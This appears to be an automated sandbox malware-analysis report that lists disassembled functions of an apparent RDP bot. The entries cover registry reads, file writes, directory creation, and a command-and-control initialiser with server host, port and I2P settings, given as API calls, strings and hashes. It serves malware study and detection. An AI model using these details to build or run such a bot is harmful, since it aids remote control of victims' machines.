Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$C:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-3890537267
Opcode ID: 544a69305bef499ce7d2453c7d2b6ff2912d1efc63b2779777ded2693e20a23b
Instruction ID: 866d0b03175d2daf718e1d33e8774a12558d654d5fb3d249be9d8cba3eef3778
Opcode Fuzzy Hash: 544a69305bef499ce7d2453c7d2b6ff2912d1efc63b2779777ded2693e20a23b
Instruction Fuzzy Hash: DBA14DE1A0C7CB81FA269720EC403B93261AF0B755E540132D91ED66B1EEEDAD89C303

Function 00007FFB22763382 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FFB227633DC
RegQueryValueExA.ADVAPI32 ref: 00007FFB22763524

Part of subcall function 00007FFB22769DC2: fwrite.MSVCRT ref: 00007FFB22769E6E
Part of subcall function 00007FFB22769DC2: fflush.MSVCRT ref: 00007FFB22769E7A

Strings

(value_sz != NULL), xrefs: 00007FFB227634E2
P, xrefs: 00007FFB227635D8
registry_get_value, xrefs: 00007FFB227633F7, 00007FFB22763450, 00007FFB22763483, 00007FFB227634B6, 00007FFB227634E9, 00007FFB2276354B, 00007FFB22763696, 00007FFB22763814
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FFB227633FE
C:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FFB22763442, 00007FFB22763475, 00007FFB227634A8, 00007FFB227634DB
NULL, xrefs: 00007FFB2276357E, 00007FFB2276382C, 00007FFB22763838
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB2276369D
(root != NULL), xrefs: 00007FFB22763449
P, xrefs: 00007FFB227635CF
(key != NULL), xrefs: 00007FFB2276347C
, xrefs: 00007FFB22763567
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FFB22763552
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22763457, 00007FFB2276348A, 00007FFB227634BD, 00007FFB227634F0
(value != NULL), xrefs: 00007FFB227634AF
, xrefs: 00007FFB2276355E
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FFB2276381B

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$C:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-3890537267
Opcode ID: 2d9d8e01c26293ebd5e956b6b79eb68f4cf47b494667fc9fb6c32eda91e6c0a0
Instruction ID: c384a2be7d8938c709cc7ceb61c80af1ece2912025c8933a4f28172b2441f35d
Opcode Fuzzy Hash: 2d9d8e01c26293ebd5e956b6b79eb68f4cf47b494667fc9fb6c32eda91e6c0a0
Instruction Fuzzy Hash: 5AA11FE1D0C7CB91F7229761EE403782254AF0AB58E544132D92ECA7B1EEEDED85C742

Function 00007FFB23AB9AD2 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FFB23AB9B2C
RegQueryValueExA.ADVAPI32 ref: 00007FFB23AB9C74

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

Strings

NULL, xrefs: 00007FFB23AB9CCE, 00007FFB23AB9F7C, 00007FFB23AB9F88
(root != NULL), xrefs: 00007FFB23AB9B99
P, xrefs: 00007FFB23AB9D1F
(value != NULL), xrefs: 00007FFB23AB9BFF
, xrefs: 00007FFB23AB9CB7
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23AB9DED
C:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FFB23AB9B92, 00007FFB23AB9BC5, 00007FFB23AB9BF8, 00007FFB23AB9C2B
, xrefs: 00007FFB23AB9CAE
registry_get_value, xrefs: 00007FFB23AB9B47, 00007FFB23AB9BA0, 00007FFB23AB9BD3, 00007FFB23AB9C06, 00007FFB23AB9C39, 00007FFB23AB9C9B, 00007FFB23AB9DE6, 00007FFB23AB9F64
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23AB9BA7, 00007FFB23AB9BDA, 00007FFB23AB9C0D, 00007FFB23AB9C40
(key != NULL), xrefs: 00007FFB23AB9BCC
P, xrefs: 00007FFB23AB9D28
(value_sz != NULL), xrefs: 00007FFB23AB9C32
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FFB23AB9CA2
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FFB23AB9F6B
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FFB23AB9B4E

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$C:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-3890537267
Opcode ID: 84e1102881e14aa1f1fe1744a6ea1b08f4cca0e5c6733abdbc1240c36314e2db
Instruction ID: 1e8c7863dfd997bafbcd3fa3e2de626256f487dda981ff38d12b8c87bb75b468
Opcode Fuzzy Hash: 84e1102881e14aa1f1fe1744a6ea1b08f4cca0e5c6733abdbc1240c36314e2db
Instruction Fuzzy Hash: FFA167E0A0C7CB81F6639731EC403BC63627F67784E4C02B6D91E366A9EE6DA945C305

Function 00007FFB23B0D3F2 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FFB23B0D44C
RegQueryValueExA.ADVAPI32 ref: 00007FFB23B0D594

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

Strings

, xrefs: 00007FFB23B0D5CE
(value_sz != NULL), xrefs: 00007FFB23B0D552
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FFB23B0D46E
(root != NULL), xrefs: 00007FFB23B0D4B9
, xrefs: 00007FFB23B0D5D7
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23B0D4C7, 00007FFB23B0D4FA, 00007FFB23B0D52D, 00007FFB23B0D560
P, xrefs: 00007FFB23B0D648
(key != NULL), xrefs: 00007FFB23B0D4EC
NULL, xrefs: 00007FFB23B0D5EE, 00007FFB23B0D89C, 00007FFB23B0D8A8
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FFB23B0D88B
(value != NULL), xrefs: 00007FFB23B0D51F
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23B0D70D
C:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FFB23B0D4B2, 00007FFB23B0D4E5, 00007FFB23B0D518, 00007FFB23B0D54B
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FFB23B0D5C2
registry_get_value, xrefs: 00007FFB23B0D467, 00007FFB23B0D4C0, 00007FFB23B0D4F3, 00007FFB23B0D526, 00007FFB23B0D559, 00007FFB23B0D5BB, 00007FFB23B0D706, 00007FFB23B0D884
P, xrefs: 00007FFB23B0D63F

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$C:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-3890537267
Opcode ID: 7d3cf77ab48ebe66b309a578ee114a658df6942dc3b7a330a2a0c28baeca7cb0
Instruction ID: 0476678b8ab82e0f5542852bd137b3eb0a8fce82f017f2c49941c158dfc61d08
Opcode Fuzzy Hash: 7d3cf77ab48ebe66b309a578ee114a658df6942dc3b7a330a2a0c28baeca7cb0
Instruction Fuzzy Hash: 92A13E9990C7CB85FA22AF60EC8837C72506F44744F4C41BBC9CD666E1EE6EA985C342

Function 00007FFB22703402 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FFB2270345C
RegQueryValueExA.ADVAPI32 ref: 00007FFB227035A4

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

Strings

[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FFB227035D2
, xrefs: 00007FFB227035DE
(root != NULL), xrefs: 00007FFB227034C9
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FFB2270347E
(value_sz != NULL), xrefs: 00007FFB22703562
NULL, xrefs: 00007FFB227035FE, 00007FFB227038AC, 00007FFB227038B8
P, xrefs: 00007FFB2270364F
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FFB2270389B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB227034D7, 00007FFB2270350A, 00007FFB2270353D, 00007FFB22703570
C:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FFB227034C2, 00007FFB227034F5, 00007FFB22703528, 00007FFB2270355B
(key != NULL), xrefs: 00007FFB227034FC
P, xrefs: 00007FFB22703658
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB2270371D
(value != NULL), xrefs: 00007FFB2270352F
registry_get_value, xrefs: 00007FFB22703477, 00007FFB227034D0, 00007FFB22703503, 00007FFB22703536, 00007FFB22703569, 00007FFB227035CB, 00007FFB22703716, 00007FFB22703894
, xrefs: 00007FFB227035E7

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$C:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-3890537267
Opcode ID: 7310aad736842cb7b11f3b6cd13ab58d5f6879207f68ca259b3a597a8c6d5c50
Instruction ID: f474ba838bab2fd74700adb01f48714ab4f32fcef60f72f6d68f825270014f33
Opcode Fuzzy Hash: 7310aad736842cb7b11f3b6cd13ab58d5f6879207f68ca259b3a597a8c6d5c50
Instruction Fuzzy Hash: 14A1FEE0D0C7CB95F66A9B60EC413792254AF07748E540132D91ECB7B5EEEDAE8D8302

Function 00007FFB23ADBA62 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FFB23ADBABC
RegQueryValueExA.ADVAPI32 ref: 00007FFB23ADBC04

Part of subcall function 00007FFB23AD1352: fwrite.MSVCRT ref: 00007FFB23AD13FE
Part of subcall function 00007FFB23AD1352: fflush.MSVCRT ref: 00007FFB23AD140A

Strings

, xrefs: 00007FFB23ADBC3E
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FFB23ADBD7D
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FFB23ADBADE
C:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FFB23ADBB22, 00007FFB23ADBB55, 00007FFB23ADBB88, 00007FFB23ADBBBB
, xrefs: 00007FFB23ADBC47
NULL, xrefs: 00007FFB23ADBC5E, 00007FFB23ADBF0C, 00007FFB23ADBF18
(root != NULL), xrefs: 00007FFB23ADBB29
registry_get_value, xrefs: 00007FFB23ADBAD7, 00007FFB23ADBB30, 00007FFB23ADBB63, 00007FFB23ADBB96, 00007FFB23ADBBC9, 00007FFB23ADBC2B, 00007FFB23ADBD76, 00007FFB23ADBEF4
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FFB23ADBEFB
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FFB23ADBC32
(value_sz != NULL), xrefs: 00007FFB23ADBBC2
(value != NULL), xrefs: 00007FFB23ADBB8F
(key != NULL), xrefs: 00007FFB23ADBB5C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23ADBB37, 00007FFB23ADBB6A, 00007FFB23ADBB9D, 00007FFB23ADBBD0
P, xrefs: 00007FFB23ADBCB8
P, xrefs: 00007FFB23ADBCAF

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$C:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-3890537267
Opcode ID: 3254d7c58e01438740999ba0d3a834f1f6246f3ea7ebcb3f0694f57f6c045d34
Instruction ID: 23a1c35ea14033a49e706cc58d67a7bbce255c2259de0e8cc271fb7c37566a10
Opcode Fuzzy Hash: 3254d7c58e01438740999ba0d3a834f1f6246f3ea7ebcb3f0694f57f6c045d34
Instruction Fuzzy Hash: FCA162E090DBCF81F6629724EC4477D2250AF06744F5C06B2DA5E277E6EE6DE986C302

Function 00007FFB23B0C63D Relevance: 33.4, APIs: 2, Strings: 17, Instructions: 180threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00007FFB23B0C852
GetLastError.KERNEL32 ref: 00007FFB23B0C8B3

Strings

cnc_init, xrefs: 00007FFB23B0C805, 00007FFB23B0C86B, 00007FFB23B0C89B, 00007FFB23B0C8C5
[I] (%s) -> CreateThread(%s) done, xrefs: 00007FFB23B0C872
[E] (%s) -> CreateThread(%s) failed(gle=%lu), xrefs: 00007FFB23B0C8CC
server_port, xrefs: 00007FFB23B0C6B2
server_timeo, xrefs: 00007FFB23B0C6F3
i2p_try_num, xrefs: 00007FFB23B0C734
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23B0C80C
, xrefs: 00007FFB23B0C8D8
cnccli, xrefs: 00007FFB23B0C67B, 00007FFB23B0C6B9, 00007FFB23B0C6FA, 00007FFB23B0C73B, 00007FFB23B0C77C, 00007FFB23B0C7AF
server_host, xrefs: 00007FFB23B0C674
[I] (%s) -> %s, xrefs: 00007FFB23B0C8A2
P, xrefs: 00007FFB23B0C905
routine_rx, xrefs: 00007FFB23B0C864, 00007FFB23B0C8BE
Done, xrefs: 00007FFB23B0C894
i2p_addr, xrefs: 00007FFB23B0C7A8
i2p_sam3_timeo, xrefs: 00007FFB23B0C775
~, xrefs: 00007FFB23B0C900

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: CreateErrorLastThread
String ID: $Done$P$[E] (%s) -> CreateThread(%s) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[I] (%s) -> %s$[I] (%s) -> CreateThread(%s) done$cnc_init$cnccli$i2p_addr$i2p_sam3_timeo$i2p_try_num$routine_rx$server_host$server_port$server_timeo$~
API String ID: 1689873465-2891999747
Opcode ID: 9440ff41f7ffa46fdab4ccb718da3e43072494cb815ec319ec81a3114deaf31f
Instruction ID: 05e7a6d8e46911bb4bdc7557265e6f15effdae08c28618da0c8dde28ed417589
Opcode Fuzzy Hash: 9440ff41f7ffa46fdab4ccb718da3e43072494cb815ec319ec81a3114deaf31f
Instruction Fuzzy Hash: 0B91FFE8A0C7C355FA629F34ECCC3BD2690AB44365F5802B5C4DDAA2E5EF6CA549C341

Function 00007FF7AABD4D2B Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 133fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00007FF7AABD4D53
fclose.MSVCRT ref: 00007FF7AABD4D85
_errno.MSVCRT ref: 00007FF7AABD4E3F
_errno.MSVCRT ref: 00007FF7AABD4E60
fwrite.MSVCRT ref: 00007FF7AABD4ED4

Strings

NULL, xrefs: 00007FF7AABD4F8A, 00007FF7AABD4F96
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7AABD4DF2, 00007FF7AABD4E22
[E] (%s) -> Failed(path=%s,mode=%s,err=%08x), xrefs: 00007FF7AABD4DBC
[I] (%s) -> Done(path=%s,mode=%s,buf_sz=%llu), xrefs: 00007FF7AABD4FB4
[E] (%s) -> fwrite failed(path=%s,mode=%s,errno=%d), xrefs: 00007FF7AABD4F04
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7AABD4DDD, 00007FF7AABD4E0D
fs_file_write, xrefs: 00007FF7AABD4DB5, 00007FF7AABD4DEB, 00007FF7AABD4E1B, 00007FF7AABD4E4D, 00007FF7AABD4EFD, 00007FF7AABD4FAD
(mode != NULL), xrefs: 00007FF7AABD4E14
(path != NULL), xrefs: 00007FF7AABD4DE4
[E] (%s) -> fopen failed(path=%s,mode=%s,errno=%d), xrefs: 00007FF7AABD4E54

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: _errno$fclosefopenfwrite
String ID: (mode != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,mode=%s,err=%08x)$[E] (%s) -> fopen failed(path=%s,mode=%s,errno=%d)$[E] (%s) -> fwrite failed(path=%s,mode=%s,errno=%d)$[I] (%s) -> Done(path=%s,mode=%s,buf_sz=%llu)$fs_file_write
API String ID: 608220805-544371937
Opcode ID: af7c7cab041d3b851780146d5672c8fe18e1dd2933ac2adfc5023734d97ee3c1
Instruction ID: 3d532d06a7d365640285ce5d987b256a466569cb4bd57814e44e2818c28c4611
Opcode Fuzzy Hash: af7c7cab041d3b851780146d5672c8fe18e1dd2933ac2adfc5023734d97ee3c1
Instruction Fuzzy Hash: 65519E21A0B683D6FA20BB54E9402F8E255BF64794FDA01B2D90D476B4DF3CF9478320

Function 00007FFB22765E9E Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FFB22765EBD
CreateDirectoryA.KERNEL32 ref: 00007FFB22765EDF
GetLastError.KERNEL32 ref: 00007FFB22765F30
strcpy.MSVCRT ref: 00007FFB22765F81
strlen.MSVCRT ref: 00007FFB22765F89
strlen.MSVCRT ref: 00007FFB22765FA5
strlen.MSVCRT ref: 00007FFB22765FB6
CreateDirectoryA.KERNEL32 ref: 00007FFB22766027
GetLastError.KERNEL32 ref: 00007FFB22766031

Strings

(path != NULL), xrefs: 00007FFB22765F07
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FFB2276616D
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FFB22765F49
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu), xrefs: 00007FFB22765FE0
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FFB22765F00
NULL, xrefs: 00007FFB22766157
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FFB22766106
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB22765F15
fs_dir_create, xrefs: 00007FFB22765F0E, 00007FFB22765F42, 00007FFB22765FD9, 00007FFB227660FF, 00007FFB22766166

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: strlen$CreateDirectoryErrorLast$strcpy
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_create
API String ID: 1104438493-1059260517
Opcode ID: 40dbb72f32e1da1f63c3337725ccdb864fd4bb97a0da6b954f206b1e6fe925d8
Instruction ID: dec5d0b6a4f3d11abe6852c4a66e088c5f7ad6ad88f3a3f08687b1ea11d9524a
Opcode Fuzzy Hash: 40dbb72f32e1da1f63c3337725ccdb864fd4bb97a0da6b954f206b1e6fe925d8
Instruction Fuzzy Hash: 9F716BA1E0C6C386FB265B35EE40BB96250AB4F744F941132DA0EC66F5DEADEC45C701

